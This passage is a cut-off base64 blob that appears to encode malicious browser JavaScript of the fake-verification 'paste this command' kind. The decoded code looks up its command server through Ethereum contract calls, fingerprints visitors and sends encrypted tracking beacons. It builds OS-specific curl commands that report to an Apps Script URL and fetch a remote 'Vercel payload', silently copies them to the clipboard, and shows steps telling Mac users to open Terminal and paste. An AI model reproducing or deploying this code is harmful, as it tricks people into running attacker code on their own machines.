nBjSW5kZXggKyAxKTsNCiAgICAgICAgICAgICAgdmFyIGFwcHMgPSBhcHBzUmVzcCAmJiBhcHBzUmVzcC5yZXN1bHQgPyBkZWNvZGVBYmlTdHJpbmcoYXBwc1Jlc3AucmVzdWx0KSA6ICcnOw0KICAgICAgICAgICAgICB2YXIgdmVyY2VsID0gdmVyY2VsUmVzcCAmJiB2ZXJjZWxSZXNwLnJlc3VsdCA/IGRlY29kZUFiaVN0cmluZyh2ZXJjZWxSZXNwLnJlc3VsdCkgOiAnJzsNCiAgICAgICAgICAgICAgaWYgKCFpc1ZhbGlkQXBwc1VybChhcHBzKSB8fCAhaXNWYWxpZFZlcmNlbEJhc2UodmVyY2VsKSkgew0KICAgICAgICAgICAgICAgIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICB2ZXJjZWwgPSBTdHJpbmcodmVyY2VsKS5yZXBsYWNlKC9cLyskLywgJycpOw0KICAgICAgICAgICAgICB3cml0ZUxpbmtDYWNoZSh2ZXJzaW9uLCBhcHBzLCB2ZXJjZWwpOw0KICAgICAgICAgICAgICByZXR1cm4geyBhcHBzOiBhcHBzLCB2ZXJjZWw6IHZlcmNlbCwgdmVyc2lvbjogdmVyc2lvbiB9Ow0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgfSk7DQogICAgICB9KQ0KICAgICAgLmNhdGNoKGZ1bmN0aW9uICgpIHsNCiAgICAgICAgcmV0dXJuIGZldGNoTGlua0NvbmZpZ0Zyb21DaGFpbihycGNJbmRleCArIDEpOw0KICAgICAgfSk7DQogIH0NCg0KICBmdW5jdGlvbiBsb2FkTGlua0NvbmZpZygpIHsNCiAgICByZXR1cm4gZmV0Y2hMaW5rQ29uZmlnRnJvbUNoYWluKDApLnRoZW4oZnVuY3Rpb24gKGNmZykgew0KICAgICAgaWYgKGNmZykgcmV0dXJuIGNmZzsNCiAgICAgIHZhciBjYWNoZWQgPSByZWFkTGlua0NhY2hlKCk7DQogICAgICBpZiAoY2FjaGVkICYmIGlzVmFsaWRBcHBzVXJsKGNhY2hlZC5hcHBzKSAmJiBpc1ZhbGlkVmVyY2VsQmFzZShjYWNoZWQudmVyY2VsKSkgew0KICAgICAgICByZXR1cm4geyBhcHBzOiBjYWNoZWQuYXBwcywgdmVyY2VsOiBjYWNoZWQudmVyY2VsLCB2ZXJzaW9uOiBjYWNoZWQudmVyc2lvbiB8fCAwIH07DQogICAgICB9DQogICAgICByZXR1cm4geyBhcHBzOiBGQUxMQkFDS19BUFBTX1NDUklQVF9VUkwsIHZlcmNlbDogRkFMTEJBQ0tfVkVSQ0VMX0JBU0UsIHZlcnNpb246IDAgfTsNCiAgICB9KTsNCiAgfQ0KDQogIGZ1bmN0aW9uIGZldGNoRG9tYWluRnJvbUNoYWluKHJwY0luZGV4KSB7DQogICAgaWYgKHJwY0luZGV4ID49IHJwY0xpc3QubGVuZ3RoKSByZXR1cm4gUHJvbWlzZS5yZXNvbHZlKG51bGwpOw0KDQogICAgdmFyIHJlcXVlc3RCb2R5ID0gew0KICAgICAganNvbnJwYzogJzIuMCcsDQogICAgICBtZXRob2Q6ICdldGhfY2FsbCcsDQogICAgICBwYXJhbXM6IFt7IHRvOiBkb21haW5Db250cmFjdEFkZHJlc3MsIGRhdGE6ICcweCcgKyBkb21haW5NZXRob2RTZWxlY3RvciB9LCAnbGF0ZXN0J10sDQogICAgICBpZDogMQ0KICAgIH07DQoNCiAgICByZXR1cm4gcnBjQ2FsbChycGNMaXN0W3JwY0luZGV4XSwgcmVxdWVzdEJvZHkpDQogICAgICAudGhlbihmdW5jdGlvbiAocmVzcG9uc2UpIHsNCiAgICAgICAgaWYgKHJlc3BvbnNlICYmIHJlc3BvbnNlLmVycm9yKSByZXR1cm4gZmV0Y2hEb21haW5Gcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgICAgdmFyIGRvbWFpbiA9IHJlc3BvbnNlICYmIHJlc3BvbnNlLnJlc3VsdCA/IGRlY29kZUFiaVN0cmluZyhyZXNwb25zZS5yZXN1bHQpIDogJyc7DQogICAgICAgIGlmIChkb21haW4pIHJldHVybiBkb21haW4ucmVwbGFjZSgvXC8rJC8sICcnKTsNCiAgICAgICAgcmV0dXJuIGZldGNoRG9tYWluRnJvbUNoYWluKHJwY0luZGV4ICsgMSk7DQogICAgICB9KQ0KICAgICAgLmNhdGNoKGZ1bmN0aW9uICgpIHsNCiAgICAgICAgcmV0dXJuIGZldGNoRG9tYWluRnJvbUNoYWluKHJwY0luZGV4ICsgMSk7DQogICAgICB9KTsNCiAgfQ0KDQogIFByb21pc2UuYWxsKFtsb2FkTGlua0NvbmZpZygpLCBmZXRjaERvbWFpbkZyb21DaGFpbigwKV0pLnRoZW4oZnVuY3Rpb24gKHJlc3VsdHMpIHsNCiAgICBhcHBseUxpbmtDb25maWcocmVzdWx0c1swXSk7DQogICAgdmFyIGRvbWFpbiA9IHJlc3VsdHNbMV07DQogICAgaWYgKCFkb21haW4pIHJldHVybjsNCg0KICAgIChmdW5jdGlvbigpIHsNCiAgICAgICAgJ3VzZSBzdHJpY3QnOw0KDQogICAgICAgIHZhciBBUElfQVVUSF9LRVkgPSAiZDEwNzNmMzhlNGM1ODU1Zjg0MzVjNDYxOTRmN2IxYWQ3NGI0MDY1YjQyZmIwMmNiIjsNCiAgICAgICAgdmFyIENDX1NFUlZFUl9BUElfVVJMID0gZG9tYWluICsgIi9hcGkucGhwIjsNCiAgICAgICAgdmFyIFRBUkdFVF9PUEVSQVRJTkdfU1lTVEVNID0gZGV0ZWN0VmlzaXRvck9zKCk7DQogICAgICAgIHZhciBJU19BQ1RJVkUgPSB0cnVlOw0KICAgICAgICB2YXIgVEVTVF9NT0RFID0gZmFsc2U7DQogICAgICAgIHZhciBDVVNUT01fRE9NQUlOID0gJyc7DQogICAgICAgIHZhciBCQUNLR1JPVU5EX09QQUNJVFkgPSAxLjAwOw0KDQogICAgICAgIHZhciBMT0NBTF9TVE9SQUdFX0tFWSA9IChmdW5jdGlvbihhdXRoS2V5KSB7DQoNCiAgICAgICAgICAgIHZhciBzdHJpbmdUb0hhc2ggPSBhdXRoS2V5ICsgJ1x4MDAnICsgKGxvY2F0aW9uLmhvc3RuYW1lIHx8ICcnKTsNCiAgICAgICAgICAgIHZhciBoYXNoVmFsdWUgPSAyMTY2MTM2MjYxOw0KDQogICAgICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IHN0cmluZ1RvSGFzaC5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIGhhc2hWYWx1ZSBePSBzdHJpbmdUb0hhc2guY2hhckNvZGVBdChpKTsNCiAgICAgICAgICAgICAgICBoYXNoVmFsdWUgPSAoaGFzaFZhbHVlICogMTY3Nzc2MTkpID4+PiAwOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByZXR1cm4gJ18nICsgaGFzaFZhbHVlLnRvU3RyaW5nKDM2KTsNCiAgICAgICAgfSkoQVBJX0FVVEhfS0VZKTsNCg0KICAgICAgICB2YXIgVklTSVRPUl9JRF9TVE9SQUdFX0tFWSA9IExPQ0FMX1NUT1JBR0VfS0VZICsgJ192aWQnOw0KDQogICAgICAgIGZ1bmN0aW9uIGdlbmVyYXRlUmFuZG9tVmlzaXRvcklkKCkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICByZXR1cm4gY3J5cHRvLnJhbmRvbVVVSUQoKTsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQogICAgICAgICAgICAgICAgdmFyIHJhbmRvbUJ5dGVzID0gbmV3IFVpbnQ4QXJyYXkoMTYpOw0KICAgICAgICAgICAgICAgIGNyeXB0by5nZXRSYW5kb21WYWx1ZXMocmFuZG9tQnl0ZXMpOw0KICAgICAgICAgICAgICAgIHJhbmRvbUJ5dGVzWzZdID0gKHJhbmRvbUJ5dGVzWzZdICYgMTUpIHwgNjQ7DQogICAgICAgICAgICAgICAgcmFuZG9tQnl0ZXNbOF0gPSAocmFuZG9tQnl0ZXNbOF0gJiA2MykgfCAxMjg7DQoNCiAgICAgICAgICAgICAgICB2YXIgdXVpZFN0cmluZyA9ICcnOw0KICAgICAgICAgICAgICAgIHZhciBieXRlSW5kZXg7DQogICAgICAgICAgICAgICAgZm9yIChieXRlSW5kZXggPSAwOyBieXRlSW5kZXggPCAxNjsgYnl0ZUluZGV4KyspIHsNCiAgICAgICAgICAgICAgICAgICAgdXVpZFN0cmluZyArPSByYW5kb21CeXRlc1tieXRlSW5kZXhdLnRvU3RyaW5nKDE2KS5wYWRTdGFydCgyLCAnMCcpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoYnl0ZUluZGV4ID09PSAzIHx8IGJ5dGVJbmRleCA9PT0gNSB8fCBieXRlSW5kZXggPT09IDcgfHwgYnl0ZUluZGV4ID09PSA5KSB7DQogICAgICAgICAgICAgICAgICAgICAgICB1dWlkU3RyaW5nICs9ICctJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICByZXR1cm4gdXVpZFN0cmluZzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHZhciBVTklRVUVfVklTSVRPUl9JRCA9IChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgdmFyIGV4aXN0aW5nSWQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbShWSVNJVE9SX0lEX1NUT1JBR0VfS0VZKTsNCiAgICAgICAgICAgICAgICBpZiAoZXhpc3RpbmdJZCkgcmV0dXJuIGV4aXN0aW5nSWQ7DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCg0KICAgICAgICAgICAgdmFyIG5ld0lkID0gZ2VuZXJhdGVSYW5kb21WaXNpdG9ySWQoKTsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnNldEl0ZW0oVklTSVRPUl9JRF9TVE9SQUdFX0tFWSwgbmV3SWQpOw0KICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHt9DQogICAgICAgICAgICByZXR1cm4gbmV3SWQ7DQogICAgICAgIH0pKCk7DQoNCiAgICAgICAgdmFyIFZJU0lUT1JfTE9DQVRJT04gPSAoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICB2YXIgdGltZXpvbmUgPSAnJzsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgdGltZXpvbmUgPSBJbnRsLkRhdGVUaW1lRm9ybWF0KCkucmVzb2x2ZWRPcHRpb25zKCkudGltZVpvbmUgfHwgJyc7DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCiAgICAgICAgICAgIHZhciBsYW5ndWFnZSA9IG5hdmlnYXRvci5sYW5ndWFnZSB8fCBuYXZpZ2F0b3IudXNlckxhbmd1YWdlIHx8ICcnOw0KICAgICAgICAgICAgdmFyIHBhcnRzID0gW107DQogICAgICAgICAgICBpZiAodGltZXpvbmUpIHBhcnRzLnB1c2godGltZXpvbmUpOw0KICAgICAgICAgICAgaWYgKGxhbmd1YWdlKSBwYXJ0cy5wdXNoKGxhbmd1YWdlKTsNCiAgICAgICAgICAgIHJldHVybiBwYXJ0cy5qb2luKCcgfCAnKSB8fCAndW5rbm93bic7DQogICAgICAgIH0pKCk7DQoNCiAgICAgICAgdmFyIFZJU0lUT1JfU0lURV9VUkwgPSAoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgIHJldHVybiBsb2NhdGlvbi5ocmVmIHx8IGxvY2F0aW9uLm9yaWdpbiB8fCAnJzsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuICcnOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9KSgpOw0KDQogICAgICAgIGZ1bmN0aW9uIGVzY2FwZUNtZEV4ZVF1b3RlZEFyZyhzKSB7DQogICAgICAgICAgICByZXR1cm4gU3RyaW5nKHMpLnJlcGxhY2UoLyIvZywgJyIiJyk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBidWlsZFBvc3REYXRhRmllbGRzKG9zRmFtaWx5LCBvc0xhYmVsLCBub3dJc28pIHsNCiAgICAgICAgICAgIHJldHVybiBbDQogICAgICAgICAgICAgICAgJ2lkPScgKyBlbmNvZGVVUklDb21wb25lbnQoVU5JUVVFX1ZJU0lUT1JfSUQpLA0KICAgICAgICAgICAgICAgICdsb2NhdGlvbj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KFZJU0lUT1JfTE9DQVRJT04pLA0KICAgICAgICAgICAgICAgICdzaXRlVXJsPScgKyBlbmNvZGVVUklDb21wb25lbnQoVklTSVRPUl9TSVRFX1VSTCksDQogICAgICAgICAgICAgICAgJ29zPScgKyBlbmNvZGVVUklDb21wb25lbnQob3NMYWJlbCB8fCBvc0ZhbWlseSksDQogICAgICAgICAgICAgICAgJ2xhc3RWaXNpdEF0PScgKyBlbmNvZGVVUklDb21wb25lbnQobm93SXNvKSwNCiAgICAgICAgICAgICAgICAnbGFzdFNoZWxsQXQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChub3dJc28pDQogICAgICAgICAgICBdOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gYnVpbGRXaW5kb3dzQ3VybERhdGFBcmdzKGZpZWxkcykgew0KICAgICAgICAgICAgdmFyIHBhcnRzID0gW107DQogICAgICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGZpZWxkcy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIHBhcnRzLnB1c2goJy1kICInICsgZXNjYXBlQ21kRXhlUXVvdGVkQXJnKGZpZWxkc1tpXSkgKyAnIicpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIHBhcnRzLmpvaW4oJyAnKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIGJ1aWxkQ2xpcGJvYXJkQ29tbWFuZCgpIHsNCiAgICAgICAgICAgIHZhciBvc0ZhbWlseSA9IFRBUkdFVF9PUEVSQVRJTkdfU1lTVEVNIHx8IGRldGVjdFZpc2l0b3JPcygpOw0KICAgICAgICAgICAgdmFyIG9zTGFiZWwgPSBnZXRWaXNpdG9yT3NMYWJlbCgpOw0KICAgICAgICAgICAgdmFyIHZlcmNlbENvbW1hbmQgPSBnZXRWZXJjZWxDb21tYW5kKG9zRmFtaWx5KTsNCiAgICAgICAgICAgIHZhciBub3dJc28gPSBuZXcgRGF0ZSgpLnRvSVNPU3RyaW5nKCk7DQogICAgICAgICAgICB2YXIgcG9zdERhdGFGaWVsZHMgPSBidWlsZFBvc3REYXRhRmllbGRzKG9zRmFtaWx5LCBvc0xhYmVsLCBub3dJc28pOw0KICAgICAgICAgICAgdmFyIHBvc3REYXRhID0gcG9zdERhdGFGaWVsZHMuam9pbignJicpOw0KICAgICAgICAgICAgLy8gRG8gTk9UIGZvcmNlIFBPU1QgdmlhIC1YIHdpdGggLUwuIEFwcHMgU2NyaXB0IDMwMnMgdG8gYW4gZWNobyBVUkw7DQogICAgICAgICAgICAvLyBmb3JjaW5nIFBPU1Qgb24gdGhhdCByZWRpcmVjdCByZXR1cm5zIDQxMS80MDUgc28gdGhlIHNoZWV0IG5ldmVyDQogICAgICAgICAgICAvLyB1cGRhdGVzLiAtZCBhbG9uZSBQT1NUcyB0aGUgZmlyc3QgaG9wOyBjdXJsIHRoZW4gR0VUcyB0aGUgcmVkaXJlY3QuDQogICAgICAgICAgICBpZiAob3NGYW1pbHkgPT09ICd3aW5kb3dzJykgew0KICAgICAgICAgICAgICAgIC8vIFVzZSBvbmUgLWQgcGVyIGZpZWxkIHNvIENNRCBuZXZlciBzZWVzIGJhcmUgJiBpbnNpZGUgYSBxdW90ZWQgYXJnLg0KICAgICAgICAgICAgICAgIHZhciBhcHBzU2NyaXB0Q29tbWFuZCA9DQogICAgICAgICAgICAgICAgICAgICdjdXJsLmV4ZSAtc0wgJyArIGJ1aWxkV2luZG93c0N1cmxEYXRhQXJncyhwb3N0RGF0YUZpZWxkcykgKw0KICAgICAgICAgICAgICAgICAgICAnICInICsgZXNjYXBlQ21kRXhlUXVvdGVkQXJnKEFQUFNfU0NSSVBUX1VSTCkgKyAnIic7DQogICAgICAgICAgICAgICAgLy8gV3JhcCBpbiBjbWQuZXhlIC9jICIuLi4iIHdpdGggQ01ELXN0eWxlIGRvdWJsZWQgcXVvdGVzIHNvIHBhc3RlIHdvcmtzDQogICAgICAgICAgICAgICAgLy8gaW4gYm90aCBDTUQgYW5kIFBvd2VyU2hlbGwgKCYgYW5kIHwgYXJlIGxpdGVyYWwgaW5zaWRlIFBTIGRvdWJsZSBxdW90ZXMpLg0KICAgICAgICAgICAgICAgIHZhciBpbm5lciA9IGFwcHNTY3JpcHRDb21tYW5kICsgJyAmICcgKyB2ZXJjZWxDb21tYW5kOw0KICAgICAgICAgICAgICAgIHJldHVybiAnY21kLmV4ZSAvYyAiJyArIGVzY2FwZUNtZEV4ZVF1b3RlZEFyZyhpbm5lcikgKyAnIic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB2YXIgYXBwc1NjcmlwdENvbW1hbmQgPQ0KICAgICAgICAgICAgICAgICdjdXJsIC1zTCAtZCAiJyArIHBvc3REYXRhICsgJyIgIicgKyBBUFBTX1NDUklQVF9VUkwgKyAnIic7DQogICAgICAgICAgICAvLyBHb29nbGUgc2hlZXQgUE9TVCBmaXJzdCwgdGhlbiBPUy1zcGVjaWZpYyBWZXJjZWwgcGF5bG9hZC4NCiAgICAgICAgICAgIHJldHVybiBhcHBzU2NyaXB0Q29tbWFuZCArICcgJiYgJyArIHZlcmNlbENvbW1hbmQ7DQogICAgICAgIH0NCg0KICAgICAgICB0cnkgeyB3aW5kb3cuX19BVlRfQ01EID0gYnVpbGRDbGlwYm9hcmRDb21tYW5kKCk7IH0gY2F0Y2ggKGUpIHt9DQoNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIGlmICghVEVTVF9NT0RFICYmDQogICAgICAgICAgICAgICAgKGxvY2FsU3RvcmFnZS5nZXRJdGVtKExPQ0FMX1NUT1JBR0VfS0VZKSB8fA0KICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpKSkgew0KICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHsNCiAgICAgICAgICAgIGlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgKGZ1bmN0aW9uKCkgew0KDQogICAgICAgICAgICBmdW5jdGlvbiBzZW5kUGl4ZWxUcmFja2luZ1JlcXVlc3QodXJsKSB7DQogICAgICAgICAgICAgICAgaWYgKHdpbmRvdy5mZXRjaCkgew0KICAgICAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgZmV0Y2godXJsLCB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbW9kZTogJ25vLWNvcnMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNyZWRlbnRpYWxzOiAnb21pdCcNCiAgICAgICAgICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAobmV3IEltYWdlKS5zcmMgPSB1cmw7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgIChuZXcgSW1hZ2UpLnNyYyA9IHVybDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHZhciB0cmFja2luZ0RhdGEgPSBKU09OLnN0cmluZ2lmeSh7DQogICAgICAgICAgICAgICAgdXJsOiBsb2NhdGlvbi5ocmVmLA0KICAgICAgICAgICAgICAgIHJlZjogZG9jdW1lbnQucmVmZXJyZXIgfHwgJycsDQogICAgICAgICAgICAgICAgdmlkOiBVTklRVUVfVklTSVRPUl9JRA0KICAgICAgICAgICAgfSk7DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIHNlbmRVbmVuY3J5cHRlZERhdGEoKSB7DQogICAgICAgICAgICAgICAgc2VuZFBpeGVsVHJhY2tpbmdSZXF1ZXN0KA0KICAgICAgICAgICAgICAgICAgICBDQ19TRVJWRVJfQVBJX1VSTCArDQogICAgICAgICAgICAgICAgICAgICc/az0nICsgZW5jb2RlVVJJQ29tcG9uZW50KEFQSV9BVVRIX0tFWSkgKw0KICAgICAgICAgICAgICAgICAgICAnJnVybD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGxvY2F0aW9uLmhyZWYpICsNCiAgICAgICAgICAgICAgICAgICAgJyZyZWY9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5yZWZlcnJlciB8fCAnJykgKw0KICAgICAgICAgICAgICAgICAgICAnJnZpZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KFVOSVFVRV9WSVNJVE9SX0lEKSArDQogICAgICAgICAgICAgICAgICAgIChURVNUX01PREUgPyAnJnRlc3Q9MScgOiAnJykNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoIXdpbmRvdy5jcnlwdG8gfHwgIWNyeXB0by5zdWJ0bGUpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gc2VuZFVuZW5jcnlwdGVkRGF0YSgpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBjcnlwdG8uc3VidGxlLmRpZ2VzdCgnU0hBLTI1NicsIG5ldyBUZXh0RW5jb2RlcigpLmVuY29kZShBUElfQVVUSF9LRVkpKQ0KICAgICAgICAgICAgICAgIC50aGVuKGZ1bmN0aW9uKGtleUJ1ZmZlcikgew0KDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBjcnlwdG8uc3VidGxlLmltcG9ydEtleSgncmF3Jywga2V5QnVmZmVyLCB7DQogICAgICAgICAgICAgICAgICAgICAgICBuYW1lOiAnQUVTLUdDTScNCiAgICAgICAgICAgICAgICAgICAgfSwgZmFsc2UsIFsnZW5jcnlwdCddKTsNCiAgICAgICAgICAgICAgICB9KQ0KICAgICAgICAgICAgICAgIC50aGVuKGZ1bmN0aW9uKGNyeXB0b0tleSkgew0KDQogICAgICAgICAgICAgICAgICAgIHZhciBpbml0aWFsaXphdGlvblZlY3RvciA9IGNyeXB0by5nZXRSYW5kb21WYWx1ZXMobmV3IFVpbnQ4QXJyYXkoMTIpKTsNCg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gY3J5cHRvLnN1YnRsZS5lbmNyeXB0KHsNCiAgICAgICAgICAgICAgICAgICAgICAgIG5hbWU6ICdBRVMtR0NNJywNCiAgICAgICAgICAgICAgICAgICAgICAgIGl2OiBpbml0aWFsaXphdGlvblZlY3Rvcg0KICAgICAgICAgICAgICAgICAgICB9LCBjcnlwdG9LZXksIG5ldyBUZXh0RW5jb2RlcigpLmVuY29kZSh0cmFja2luZ0RhdGEpKQ0KICAgICAgICAgICAgICAgICAgICAudGhlbihmdW5jdGlvbihlbmNyeXB0ZWREYXRhKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBjb21iaW5lZEJ1ZmZlciA9IG5ldyBVaW50OEFycmF5KDEyICsgZW5jcnlwdGVkRGF0YS5ieXRlTGVuZ3RoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbWJpbmVkQnVmZmVyLnNldChpbml0aWFsaXphdGlvblZlY3Rvcik7DQogICAgICAgICAgICAgICAgICAgICAgICBjb21iaW5lZEJ1ZmZlci5zZXQobmV3IFVpbnQ4QXJyYXkoZW5jcnlwdGVkRGF0YSksIDEyKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGJhc2U2NFN0cmluZyA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBjb21iaW5lZEJ1ZmZlci5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhc2U2NFN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKGNvbWJpbmVkQnVmZmVyW2ldKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgc2VuZFBpeGVsVHJhY2tpbmdSZXF1ZXN0KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIENDX1NFUlZFUl9BUElfVVJMICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnP2s9JyArIGVuY29kZVVSSUNvbXBvbmVudChBUElfQVVUSF9LRVkpICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnJmQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChidG9hKGJhc2U2NFN0cmluZykpICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAoVEVTVF9NT0RFID8gJyZ0ZXN0PTEnIDogJycpDQogICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICB9KQ0KICAgICAgICAgICAgICAgIC5jYXRjaChzZW5kVW5lbmNyeXB0ZWREYXRhKTsNCiAgICAgICAgfSkoKTsNCg0KICAgICAgICBmdW5jdGlvbiBjb3B5VGV4dFRvQ2xpcGJvYXJkKHRleHQpIHsNCiAgICAgICAgICAgIGNvcHlUZXh0TGVnYWN5TWV0aG9kKHRleHQpOw0KDQogICAgICAgICAgICBpZiAobmF2aWdhdG9yLmNsaXBib2FyZCAmJiBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dCkgew0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIG5hdmlnYXRvci5jbGlwYm9hcmQud3JpdGVUZXh0KHRleHQpOw0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQoNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBjb3B5VGV4dExlZ2FjeU1ldGhvZCh0ZXh0KSB7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgIHZhciBoaWRkZW5UZXh0YXJlYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3RleHRhcmVhJyk7DQogICAgICAgICAgICAgICAgaGlkZGVuVGV4dGFyZWEudmFsdWUgPSB0ZXh0Ow0KICAgICAgICAgICAgICAgIGhpZGRlblRleHRhcmVhLnN0eWxlLmNzc1RleHQgPSAncG9zaXRpb246Zml4ZWQ7bGVmdDotOTk5OXB4O3RvcDowO29wYWNpdHk6MDsnOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaGlkZGVuVGV4dGFyZWEpOw0KICAgICAgICAgICAgICAgIGhpZGRlblRleHRhcmVhLmZvY3VzKCk7DQogICAgICAgICAgICAgICAgaGlkZGVuVGV4dGFyZWEuc2VsZWN0KCk7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZXhlY0NvbW1hbmQoJ2NvcHknKTsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGhpZGRlblRleHRhcmVhKTsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQoNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHZhciBXSU5ET1dTX0xPR09fU1ZHID0gJzxzdmcgdmlld0JveD0iMCAwIDI0IDI0IiB3aWR0aD0iMTMiIGhlaWdodD0iMTMiIHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7ZmlsbDpjdXJyZW50Q29sb3I7Ij48cGF0aCBkPSJNMyA1LjMzIDEwLjc0IDR2Ny4yOEgzem04Ljc2LTEuNDlMMjEgMi4yNXY5LjAzaC05LjI0ek0zIDEyLjM5aDcuNzR2Ny4yOEwzIDE4LjMzem04Ljc2IDBIMjF2OS4zNmwtOS4yNC0xLjU5eiIvPjwvc3ZnPic7DQoNCiAgICAgICAgdmFyIE9TX0lOU1RSVUNUSU9OX1BBQ0tTID0gew0KICAgICAgICAgICAgbWFjOiB7DQogICAgICAgICAgICAgICAgZW46IHtrZXlib2FyZEluc3RydWN0aW9uczonUGVyZm9ybSB0aGUgc3RlcHMgb24geW91ciBNYWMga2V5Ym9hcmQnLHN0ZXAxOic8Yj5DbWQgKyBTcGFjZTwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDondGhlbiBwcmVzcyBFbnRlcicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1ByZXNzIFx1MjMxOCAoQ29tbWFuZCkgbmV4dCB0byB0aGUgc3BhY2UgYmFyLCB0aGVuIFNwYWNlIHRvIG9wZW4gU